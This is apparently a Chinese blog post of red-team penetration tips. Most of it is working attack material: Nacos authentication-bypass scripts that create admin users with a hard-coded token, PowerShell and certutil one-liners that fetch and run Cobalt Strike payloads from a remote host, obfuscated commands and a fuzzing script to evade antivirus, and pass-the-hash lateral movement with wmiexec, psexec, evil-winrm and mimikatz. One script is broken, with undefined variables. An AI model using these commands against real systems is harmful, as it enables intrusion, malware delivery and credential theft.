攻防实战小技巧

外网打点

资产测绘三剑客

https://hunter.qianxin.com/
https://fofa.info/
https://quake.360.cn/

挖掘高价值资产

https://github.com/EdgeSecurityTeam/EHole

ehole 重构了一版,需要下载 source code 进行自编译,realease 为旧版本

攻防实战小技巧

https://github.com/lijiejie/BBScan

挖掘敏感信息和后台地址

Targets:

  --host [HOST [HOST ...]]
                        Scan several hosts from command line
  -f TargetFile         Load new line delimited targets from TargetFile
  -d TargetDirectory    Load all *.txt files from TargetDirectory
  --crawler CrawlDirectory
                        Load all *.log crawl files from CrawlDirectory
  --network MASK        Scan all Target/MASK neighbour hosts,
                        should be an integer between 8 and 31

HTTP SCAN:

  --rule [RuleFileName [RuleFileName ...]]
                        Import specified rule files only.
  -n, --no-crawl        No crawling, sub folders will not be processed
  -nn, --no-check404    No HTTP 404 existence check
  --full                Process all sub directories

Scripts SCAN:

  --scripts-only        Scan with user scripts only
  --script [ScriptName [ScriptName ...]]
                        Execute specified scripts only
  --no-scripts          Disable all scripts

CONCURRENT:

  -p PROCESS            Num of processes running concurrently, 30 by default
  -t THREADS            Num of scan threads for each scan process, 3 by default

OTHER:

  --proxy Proxy         Set HTTP proxy server
  --timeout Timeout     Max scan minutes for each target, 10 by default
  -md                   Save scan report as markdown format
  --save-ports PortsDataFile
                        Save open ports to PortsDataFile
  --debug               Show verbose debug info
  -nnn, --no-browser    Do not open web browser to view report
  -v                    show program's version number and exit

shiro 利用

找到 key 之后使用常规的漏洞工具无法正常利用,可能这时候很多人就放弃了,由于这两工具缺少部分利用链可能错过漏洞

攻防实战小技巧

改用其他工具,优势在于 key 的数量多,利用链全

攻防实战小技巧

建议使用 feihong 大佬的工具,经典 yyds

https://github.com/feihong-cs/ShiroExploit-Deprecated

优先选用第四种方案,右键源代码添加可访问的静态资源

攻防实战小技巧
攻防实战小技巧

正常执行命令

攻防实战小技巧

缺少双因子爆破

许多 vpn、邮箱系统没有进行验证限制,可进行暴力破解

如 Global-Protect 谷歌了一波发现其用途是充当防火墙 + VPN

攻防实战小技巧

由于系统缺少双因子认证,以工号信息为账号尝试爆破,成功获取到 VPN 的账号密码

攻防实战小技巧

连接 VPN,进入内网

攻防实战小技巧

源代码泄露

通过 github 筛选目标相关关键字 password xx.com

攻防实战小技巧

源代码项目里面可能包含了各种密码,或者是提取指纹寻找源码进行审计

敏感信息泄露

在攻防演练过程中,数据泄露分数占比也是较高的,我们可以多去寻找一些查询系统看看是否存在敏感信息泄露

信息搜集过程中通过 360quake 的图像预览发现了一个信息查询系统,猜测可能存在信息泄露问题

在前端位置,数据都是加密的

攻防实战小技巧

抓取查询数据,查看返回数据包发现是明文显示

攻防实战小技巧

webpack 接口

在我们渗透过程中,越来越多的系统会采用 webpack 进行打包,如下图的指纹所示

攻防实战小技巧

工具自动化寻找未授权

https://github.com/rtcatc/Packer-Fuzzer

或查看 js 还原接口

右键源代码 —— 查看检索 js—— 在后面添加.map

curl -O http://xx.xx.xx.xx/*.js.map
攻防实战小技巧

之后会下载一个 js.map,使用 reverse-sourcemap 进行还原

npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map

可寻找各种未授权的接口进行进一步的利用,可检索 upload、add 等关键字

攻防实战小技巧

弱口令+后台上传

碰到没有验证码的站,可以尝试进行爆破

攻防实战小技巧
攻防实战小技巧

成功爆破到账密后,可寻找后台上传接口进行上传

攻防实战小技巧
攻防实战小技巧

nacos 开放公网

攻防实战小技巧

https://github.com/Pizz33/nacos_vul

批量验证

import requests
import urllib3
urllib3.disable_warnings()

# 定义自定义路径和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
proxies = {'http': 'http://127.0.0.1:8080'}
header = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Te": "trailers",
    "Cache-Control": "no-cache",
}
# 从url.txt文件中读取URL列表
with open('url.txt', 'r') as f:
    urls = f.read().splitlines()

# 循环发送GET请求并判断回显结果
for url in urls:
    full_url = url + custom_path  # 拼接完整URL
    try:
        response = requests.get(full_url,proxies=proxies, headers=header,verify=False,timeout=2)
        if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
            print(f'{url} 存在nacos身份验证绕过漏洞')
        else:
            print(f'{url} 不存在nacos身份验证绕过漏洞')
    except requests.exceptions.RequestException as e:
        print(f'{url} 访问失败 {e}')
攻防实战小技巧

脚本化添加用户

import sys
import requests
from termcolor import colored
import urllib3
urllib3.disable_warnings()

proxies = {'http': 'http://127.0.0.1:8080'}
# 获取命令行参数中的 URL
if len(sys.argv) < 2:
    print("Usage: python test.py <url>")
    sys.exit(1)
url = sys.argv[1]

post_url = "/nacos/v1/auth/users"
request_url = url + post_url

headers = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
}
data = {
    "username": "test123",
    "password": "test123",
}

response = requests.post(request_url, headers=headers, data=data, proxies=proxies,verify=False)

if response.status_code == 200 and response.content.find(b"ok") != -1:
    print(colored('[*] ' + url + ' 存在nacos身份认证绕过漏洞! ', 'green'))
    print(colored('已创建用户test123/test123', 'green'))
else:
    print(colored('[-] ' + url + ' 不存在nacos身份认证绕过漏洞! n', 'red'))

threads = []
for url in urls:
    t = threading.Thread(target=send_request, args=(url,))
    threads.append(t)
    t.start()

# 等待所有线程完成
for t in threads:
    t.join()
攻防实战小技巧

任意用户添加登录,配置文件里详情可能含有账户密码等敏感信息

攻防实战小技巧

横向利用

cobaltstrike 上线

隐藏 C2 地址

云函数 or cdn

常规上线

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
certutil -urlcache -split -f http://x.x.x.x/a C:UsersPublic1.exe && C:UsersPublic1.exe

绕杀软上线

火绒

复制 certutil 文件

copy c:windowssystem32certutil.exe c:programdataa.exe && c:programdataa.exe -urlcache -split -f http://x.x.x.x/a C:UsersPublic1.exe && C:UsersPublic1.exe
360

缓存文件还原

;,@certutil  -u""r""l""c""a""c""h""e"" -split -f http://x.x.x.x/a.exe -DeleteHelloContainer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deleteEnrollmentServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deletePolicyServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deleteEccCurve

move -deleteEccCurve test.exe
def

中间插入 “” 字符

cert^u^t^il -url""""cache -sp""""lit -f http://192.168.xx.xx:7070/test.txt

通用:可通过 py 编写脚本 fuzz 字符寻找可绕过的语句

import os
import random
import time

def insert_random_chinese_chars(s):
    """在字符串s中随机插入中文字符"""
    chinese_chars = ["。", ",", "!","》","?","《", ",", "】","【","}","“"]
    n = len(s)
    insert_positions = sorted(random.sample(range(n), n // 4))
    for pos in reversed(insert_positions):
        s = s[:pos] + random.choice(chinese_chars) + s[pos:]
    return s

while True:
    url = "urlcache"
    url = insert_random_chinese_chars(url)
    command = f"certutil -{url} -split -f http://x.x.x.x/1.png"
    print(command)
    with open("output.txt", "a") as f:
        f.write(command + "n")
    os.system(command)
    time.sleep(5)
攻防实战小技巧

绕过限制上线

通过漏洞获取到一个 webshell 之后,在某些环境下可能会限制上传文件的大小和后缀

certutil -encode beacon.exe out.txt 
certutil -decode out.txt test.exe

测试找到上传的最大的长度,使用工具进行文本切割

攻防实战小技巧

重新整合

copy 01.txt + 02.txt + 03.txt + 04.txt + 05.txt + 06.txt + 07.txt + 08.txt + 09.txt + 10.txt out.txt
攻防实战小技巧

成功上线

攻防实战小技巧

文件上传绕过

通过 1day 上传文件大概率会碰到被 waf 拦截的情况,可添加脏字符进行绕过,或者结合分块传输

上传的 webshell 木马最好做免杀处理,如哥斯拉木马可进行 unicode 编码,仍可正常执行

攻防实战小技巧

绕杀软添加用户

使用 bof 加载绕过

攻防实战小技巧
攻防实战小技巧
inline-execute bof-net-user-x64.o
攻防实战小技巧
攻防实战小技巧

密码喷洒

railgun、crackmapexec

获取密码控制机器

135 端口

https://github.com/XiaoliChan/wmiexec-Pro

执行命令

python wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -with-output
攻防实战小技巧

上传文件

python wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "/root/Desktop/decode.exe" -dest-file "C:userspublictest.exe"
攻防实战小技巧

wmiexec

python wmiexec.py -hashes :2687cb433215956d4ededb0d00334118 [email protected]
wmiexec.exe -hashes :2687cb433215956d4ededb0d00334118 [email protected]
攻防实战小技巧

这里过不去的需要在目标机器上开启注册表

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
攻防实战小技巧
攻防实战小技巧

WMIHACKER

https://github.com/rootclay/WMIHACKER

cscript WMIHACKER.vbs /cmd 192.168.10.90 administrator "123456" "ipconfig" 1
攻防实战小技巧

sharpwmi

个人常用的一款,可以上传文件,但是文件大小限制 512kb 内

https://github.com/QAX-A-Team/sharpwmi

https://github.com/idiotc4t/sharpwmi

sharpwmi.exe login 192.168.2.3 administrator 123 cmd whoami
sharpwmi.exe login 192.168.2.3/24 administrator 123 cmd whoami
sharpwmi.exe login 192.168.2.3-23 administrator 123 upload beacon.exe c:beacon.exe
sharpwmi.exe pth 192.168.2.3-192.168.2.77 cmd whoami
sharpwmi.exe pth 192.168.2.3/255.255.255.0 upload beacon.exe c:beacon.exe
攻防实战小技巧

445 端口

smbexec

smbexec.exe administrator:"mima"@10.61.9.46

psexec

这里使用的 impacket 工具包里的,微软自带的 psexec 不能使用 hash 进行传递

net use \10.61.9.45ipc$ "123456" /user:administrator
psexec.exe \10.61.9.45 -u administrator -p "mima" whoami
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 [email protected]
psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 [email protected]
攻防实战小技巧
攻防实战小技巧

mmcexec

mmcexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 [email protected]
攻防实战小技巧

3389 端口

修改注册表

REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

mimikatz 进行 hash 传递,之后会弹出一个框,填入相应的 IP 即可

privilege::debug
sekurlsa::pth /user:dyy /domain:. /ntlm::2687cb433215956d4ededb0d00334118 "/run:mstsc.exe /restrictedadmin"
攻防实战小技巧
攻防实战小技巧

5985 端口

evil-winrm

这里先安装 ruby 环境,https://rubyinstaller.org

gem install evil-winrm
evil-winrm -i 192.168.0.100 -u administrator -H ccef208c6485269c20db2cad21734fe7
攻防实战小技巧

报错异常情况

错误号5,拒绝访问:很可能你使⽤的⽤户不是管理员权限的(#先提升权限)
错误号51,Windows⽆法找到⽹络路径(#⽹络有问题)
错误号53,找不到⽹络路径:ip地址错误;⽬标末开机(#⽬标lanmanserver服务未启动;⽬标有
防⽕墙(端⼝过滤)
错误号67,找不到⽹络名(#你的lanmanworkstation服务末启动;⽬标删除了ipc$)
错误号1219,提供的凭据与⼰存在的凭据集冲突(#你已经和对⽅建⽴了⼀个ipc$,请删除在连)
错误号1326,未知的⽤户名或错误密码(#原因很明显)
错误号1792,试图登录,但是⽹络登录服务没有启动(#⽬标NetLogon服务末启动。(连接域控
会出现此情况)
错误号2242,此⽤户的密码⼰经过期(#⽬标有帐号策略,强制定期要求更改密码)
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容